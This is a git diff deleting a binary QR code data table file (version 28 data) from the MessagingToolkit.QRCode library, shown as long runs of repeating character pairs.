b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_2.dat deleted file mode 100644 index 5122e09..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_2.dat +++ /dev/null @@ -1,257 +0,0 @@ -~}~}~}~}zyzyzyzyxwxwxwxwststststqrqrqrqropopopopmlklklklijijijijghghghghefefefefabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwststststqrqrqrqropopopopklklklklijijijijghghghghefefefefabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwststststqrqrqrqropopopopklklklklijijijijghghghghedcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzyxwxwxwxwststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzywwwwwxwxststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzywxwxwxwxststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzywxwxwxwxststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzywxwxwxwxststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdabababab^]^]^]^]\[\[\[\[ZYZYZYZY~}~}~}~}zyzyzyzywxwxwxwuststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdabababab^]^]^]^]\[\[\[\[XWXWXWXW~}~}~}~}zyzyzyzyuuuuuvuvststststqrqrqrqropopopopklklklklijijijijghghghghcdcdcdcdababa`_`^]^]^]^]\[\[\[\[XWXWXWXW~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqronmnmnmnklklklklijijijijghghghghcdcdcdcd_`_`____^]^]^]^]\[\[\[\[XWXWXWXW~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijghghghghcdcdcdcd__`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijgfefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd_____`_`^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU~}~}~}~}zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd_`_`_`_`^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd_`_`_`_`^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklijijijijefefefefcdcdcdcd_`_`_`_`^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyuvuvuvuvststststqpopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcd_`_`_`_`^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyuvuvuvuvststststopopopopmnmnmnmnklklklklijijijijefefefefcdcdcdcd_`______^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{zyzyzyzyuvuvuvuvststststopopopopmnmnmnmnklklklklihghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{zyzyxwxwuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{xwxwwwwwuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefcdcdcdcb`_`_`___^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefabababab___`_`_`^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefabababab_`_`_`_`\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU|{|{|{|{wxwxwxwwuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghefefefefabababab_`_`_`_`\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{wwwwxwxwuvuvuvuvsrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefabababab_`_`_`_`\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvqrqrqrqropopopopmnmnmnmnklklklklghghghghefefefefabababab_`_`_`_`\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvqrqrqrqropopopopmnmnmnmnkjijijijghghghghefefefefabababab______`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{xwxwxwxwuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{xwwwwwwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab`_`_____\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVU~}~}~}~}|{|{|{|{wxwxwwwwutstststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUVUVUVUVU~}~}~}~}|{|{|{zywwxwxwxwststststqrqrqrqropopopopmnmnmnmnijijijijghghghghefefefefabababab^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656343434340/0/0///.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434///0/0/0.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434/0/0/0/0.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#       - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434/0/0/0/0.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434/0/0/0/0.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#"!     - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:5656565634343434/0/0/0/0.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIHGHGEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:985656565634343434//////0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGGGGGEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<7878787856565656343432120/0/////.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGGEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656565612121212/0/0/0/0.-.-.-,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!      - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGGGGHGHGEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656565612121212/0/0/0/0,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>;<;<;<;<787878785656565612121212/0/0/0/0,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!         - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;<787878785656565612121212/0/0/0/0,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGEFEFEFEFABABABAB?@?@?@?@=>=>=>=>;<;<;<;:787878785656565612121212/0/0/0//,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878785656565612121212////0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGGGGGGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/////0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787856565656121212120/0/0/.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSPOPOPOPONMNMNMNMLKLKLKJIGHGHGGGGEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878785656565612121212.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -TSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIGGHGHGHGEFEFEFEDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878785656565612121212.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!         - - TSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:787878785656565612121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!         TSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGCDCDCDCDABABABAB?@?@?@?@=>=>=>=<9:9:9:9:787878785656565612121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        TSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878785656565612121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     TSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878785656565412121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGGGGGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGGGGGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIGHGHGHGFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#"!"!"!"!     - -RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - -RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIEFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:78787878343434341210/0/0.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!      - - - -RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:7878787834343434/0//////.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:78787876343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -RQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -~~}}99::;;<< - - ,,++**))yxxwwvvu01122334)((''&&%~~}())**++,100//..-xyyzz{{|PQQRRSSTHHGGFFEEaabbccdd||{{zzyy==>>??@@((''&&%%uttssrrq45566778%$$##""!}||{{zzy,--..//0-,,++**)|}}~~TUUVVWWXDDCCBBAAeeffgghhxxwwvvuuAABBCCDD$$##""!!qppoonnm899::;;>==iijjkkllttssrrqqEEFFGGHH mllkkjji<==>>??@uttssrrq45566778%$$##""!}wwvvuut\]]^^__e <<;;::99mmnnooppppoonnmmIIJJKKLL !!""ihhggffe@AABBCCDqppoonnm899::;;>??@poonnmmlijjkkllm%%&&''((44332211uuvvwwxxhhggffeeQQRRSSTT''(())**a``__^^]HIIJJKKL ihhggffe@AABBCCDlkkjjiihmnnooppq))**++,,00//..--yyzz{{||ddccbbaaUUVVWWXX++,,--.. -]\\[[ZZYLMMNNOOP - - eddccbbaDEEFFGGHhggffee_qrrssttu--..//00,,++**))}}~~``__^^]]YYZZ[[\\//556677 - YXXWWVVUPQQRRSST a``__^^]HIIJJKKL _^^]]\\[uvvww}}~11223344((''&&%%~~}}\\[[ZZYY]]^^__``8899::;;UTTSSRRQTUUVVWWX]\\[[ZZYLMMNNOOP - - [ZZYYXXW~55667788$$##""!!||{{zzyyXXWWVVUUaabbccdd<<==>>?? - - QPPOONNMXYYZZ[[\YXXWWVVUPQQRRSST WVVUUTTS~~}}|{z99::;;<< xxwwvvuuTTSSRRQQeeffgghh@@AABBCC MLLKKJJI\]]^^__`UTTSSRRQTUUVVWWXSRRQQPPOyxwwvvuu==>>??@@ttssrrqq - - PPOONNMMiijjkkllDDEEFFGGIHHGGFFE`aabbccd - - QPPOONNMXYYZZ[[\ONNMMGGFttssrrqqAABBCCDDppoonnmm LLKKJJIImmnnooppMMNNOOPPEDDCCBBAdeeffggh MLLKKJJI\]]^^__`FEEDDCCBppoonnmmEEFFGGHHllkkjjiiHHGGFFEEqqrrssttQQRRSSTTA@@??>>=hiijjkklIHHGGFFE`aabbccd - - BAA@@??>llkkjjiiIIJJKKLL hhggffeeDDCCBBAAuuvvwwxxUUVVWWXX =<<;;::9lmmnnoopEDDCCBBAdeeffggh >==<<;;:hhggffeeMMNNOOPP - - ddccbbaa@@??>>==yyzz{{||YYZZ[[\\ !!""##$98877665pqqrrsstA@@??>>=hiijjkkl:9988776dcba`__^QQRRSSTT``__^^]] <<;;::99}}~~]]^^__ee$%%&&''(54433221tuuvvwwx =<<;;::9lmmnnoop655//..-^]]\\[[ZUUVVWWXX\\[[ZZYY!!""##$$88776655~~}}ffgghhii())**++,100//..-xyyzz{{| !!""##$98877665pqqrrsst-,,++**)ZYYXXWWVYYZZ[[\\XXWWVVUU%%&&''((44332211wwvvuuttjjkkllmm,--..//0-,,++**)|}}~~$%%&&''(54433221tuuvvwwx )((''&&%VUUTTSSR]]^^__``TTSSRRQQ))**++,,00//..--ssrrqqppnnooppqq01122334)((''&&%~~}())**++,100//..-xyyzz{{| !!""##$%$$##""!RQQPPOONaabbccdd - - PPOONNMM--..//00,,++**))oonnmmllrrssttuu45566778%$$##""!}||{{zzy,--..//0-,,++**)|}}~~$%%&&''(! NMMLKJIHeeffgghh LLKKJJII11223344((''&&%%kkjjiihhvvww}}~~899::;;>??@uttssrrq45566778%$$##""!}||{{zzy,--..//0CCBBAA@@mmnnooppDDCCBBAA99::;;<< ^^]]\\[[~~}}|{zy@AABBCCDqppoonnm899::;;>==<>====>>??@@ZZYYXXWWxwwvvuutDEEFFGGHmllkkjji<==>>??@uttssrrq45566778 - - ;;::9988uuvvwwxx <<;;::99AABBCCDDVVUUTTSStssrrqqpHIIJJKKL ihhggffe@AABBCCDqppoonnm899::;;<77665543yyzz{{||!!""##$$88776655EEFFGGHHRRQQPPOOpoonnmmlLMMNNOOP - - eddccbbaDEEFFGGHmllkkjji<==>>??@ 210//..-}}~~%%&&''((44332211IIJJKKLL NNMMGGFFlkkjjiihPQQRRSST a``__^^]HIIJJKKL ihhggffe@AABBCCD - - -,,++**)~~}}))**++,,00//..--MMNNOOPP - - EEDDCCBBhggffeedTUUVVWWX]\\[[ZZYLMMNNOOP - - eddccbbaDEEFFGGH )((''&&%||{{zzyy--..//00,,++**))QQRRSSTT - - AA@@??>>cba`__^^XYYZZ[[\YXXWWVVUPQQRRSST a``__^^]HIIJJKKL%$$##""!xxwwvvuu11223344((''&&%%UUVVWWXX ==<<;;::]]\\[[ZZ\]]^^__`UTTSSRRQTUUVVWWX]\\[[ZZYLMMNNOOP! ttssrrqq55667788$$##""!!YYZZ[[\\99887766YYXXWWVV`aabbccd - - QPPOONNMXYYZZ[[\YXXWWVVUPQQRRSST !!"ppoonnmm99::;;<< ]]^^__``55//..--UUTTSSRRdeeffggh MLLKKJJI\]]^^__`UTTSSRRQTUUVVWWX"##$$%%&llkkjjii==>>??@@aabbccdd,,++**))QQPPOONNhiijjkklIHHGGFFE`aabbccd - - QPPOONNMXYYZZ[[\&''(())*hhggffeeAABBCCDDeeffgghh ((''&&%%MMLKJIHGlmmnnoopEDDCCBBAdeeffggh MLLKKJJI\]]^^__`*++,,--. ddccbbaaEEFFGGHHiijjkkll!!""##$$$$##""!!GFFEEDDCpqqrrsstA@@??>>=hiijjkklIHHGGFFE`aabbccd.//55667 - - ``__^^]]IIJJKKLL mmnnoopp%%&&''(( CBBAA@@?tuuvvwwx =<<;;::9lmmnnoopEDDCCBBAdeeffggh78899::;\\[[ZZYYMMNNOOPP - - qqrrsstt))**++,,?>>==<<;xyyzz{{| !!""##$98877665pqqrrsstA@@??>>=hiijjkkl;<<==>>?XXWWVVUUQQRRSSTTuuvvwwxx--..//00;::99887|}}~~$%%&&''(54433221tuuvvwwx =<<;;::9lmmnnoop?@@AABBCTTSSRRQQUUVVWWXXyyzz{{||11223344 76655432~~}())**++,100//..-xyyzz{{| !!""##$98877665pqqrrsstCDDEEFFG - - PPOONNMMYYZZ[[\\}}~~55667788 - - 10//..--}||{{zzy,--..//0-,,++**)|}}~~$%%&&''(54433221tuuvvwwxGMMNNOOP LLKKJJII]]^^__``~~}}||{{zzyy--..//00,,++**))}}~~UUVVWWXXDCCBBAA@effgghhi LKKJJIIH]^^__``a EDDCCBBAoonnmmllFFGGHHIIkkjjiihh>>??@@AAssrrqqpp66778899 - - :9988776vwwxxyyz !!";::99887nooppqqr,++**))(EDDCCBBAxxwwvvuu11223344((''&&%%~~}}YYZZ[[\\@??>>==>=kkjjiihhJJKKLLMM ggffeeddBBCCDDEEoonnmmll::;;<<==65543210z{{||}}~"##$$%%&76655443rssttuuv(''&&%%$A@@??>>=ttssrrqq55667788$$##""!!wwvvuutt]]^^__ee !<;;::998mnnooppqDCCBBAA@effgghhi =<<;;::9ggffeedcNNOOPPQQ - - ccbbaa``FFGGHHIIkkjjiihh>>??@@AA - -//..--,,~&''(())*3221100/vwwxxyyz !!"$##""!! =<<;;::9ppoonnmm99::;;<< ssrrqqppffgghhii!""##$$%87766554qrrssttu@??>>==>??@@oonnmmlljjkkllmm%&&''(()43322110uvvwwxxy !<;;::998mnnooppq5//..--,]\\[[ZZYVVWWXXYY[[ZZYYXXNNOOPPQQ - - ccbbaa``FFGGHHII''&&%%$${zzyyxxw.//00112+**))(('~&''(())*54433221hhggffeeAABBCCDDkkjjiihhnnooppqq)**++,,-0//..--,yzz{{||}!""##$$%87766554qrrssttu,++**))(YXXWWVVUZZ[[\\]]WWVVUUTTRRSSTTUU__^^]]\\JJKKLLMM##""!! wvvuutts23344556'&&%%$$#~~}}||{*++,,--.100//..-ddccbbaaEEFFGGHHggffee__rrssttuu-..//001,++**))(}~~%&&''(()43322110uvvwwxxy !(''&&%%$UTTSSRRQ^^__``aa SSRRQQPPVVWWXXYY[[ZZYYXXNNOOPPQQsrrqqppo6778899:#""!! {zzyyxxw.//00112 -,,++**)``__^^]]IIJJKKLL ^^]]\\[[vvww}}~~12233445(''&&%%$~~}}|)**++,,-0//..--,yzz{{||}!""##$$%$##""!! QPPOONNMbbccddee - - OONNMMLLZZ[[\\]]WWVVUUTTRRSSTTUU !!""##onnmmllk:;;<<==>wvvuutts23344556 - - -)((''&&%\\[[ZZYYMMNNOOPP - - ZZYYXXWW56677889$##""!! |{{zzyyx-..//001,++**))(}~~%&&''(() MLKJIHGGffgghhiiKKJJIIHH^^__``aa SSRRQQPPVVWWXXYY$$%%&&''kjjiihhg>??@@AABsrrqqppo6778899: - %$$##""!XXWWVVUUQQRRSSTTVVUUTTSS~~}}|{zy9::;;<<= xwwvvuut12233445(''&&%%$~~}}|)**++,,-FFEEDDCCjjkkllmmGGFFEEDDbbccddee - - OONNMMLLZZ[[\\]](())**++ gffeeddcBCCDDEEFonnmmllk:;;<<==>! TTSSRRQQUUVVWWXXRRQQPPOOxwwvvuut=>>??@@Atssrrqqp56677889$##""!! |{{zzyyx-..//001BBAA@@??nnooppqqCCBBAA@@ffgghhiiKKJJIIHH^^__``aa,,--..// - - cbbaa``_FGGHHIIJkjjiihhg>??@@AABPPOONNMMYYZZ[[\\NNMMGGFFtssrrqqpABBCCDDEpoonnmml9::;;<<= xwwvvuut12233445 >>==<<;;rrssttuu??>>==<>??@@Atssrrqqp56677889 - - ::998877vvwwxxyy !!;;::9988nnooppqqCCBBAA@@ffgghhii99::;;<<[ZZYYXXWNOOPPQQR - - cbbaa``_FGGHHIIJ !!""#HHGGFFEEaabbccdd - - AA@@??>>lkkjjiihIJJKKLLM hggffeedABBCCDDEpoonnmml9::;;<<=66554321zz{{||}}""##$$%%77665544rrssttuu??>>==<>??@@WVVUUTTSRSSTTUUV_^^]]\\[JKKLLMMN#$$%%&&' DDCCBBAAeeffgghh ==<<;;::hggffeedMNNOOPPQ - - dccbbaa`EFFGGHHIlkkjjiih=>>??@@A -0//..--,~~&&''(())33221100vvwwxxyy !!;;::9988nnooppqqAABBCCDD -SRRQQPPOVWWXXYYZ[ZZYYXXWNOOPPQQR'(())**+ - - @@??>>==iijjkkll99887766cba`__^^QRRSSTTU`__^^]]\IJJKKLLM hggffeedABBCCDDE - 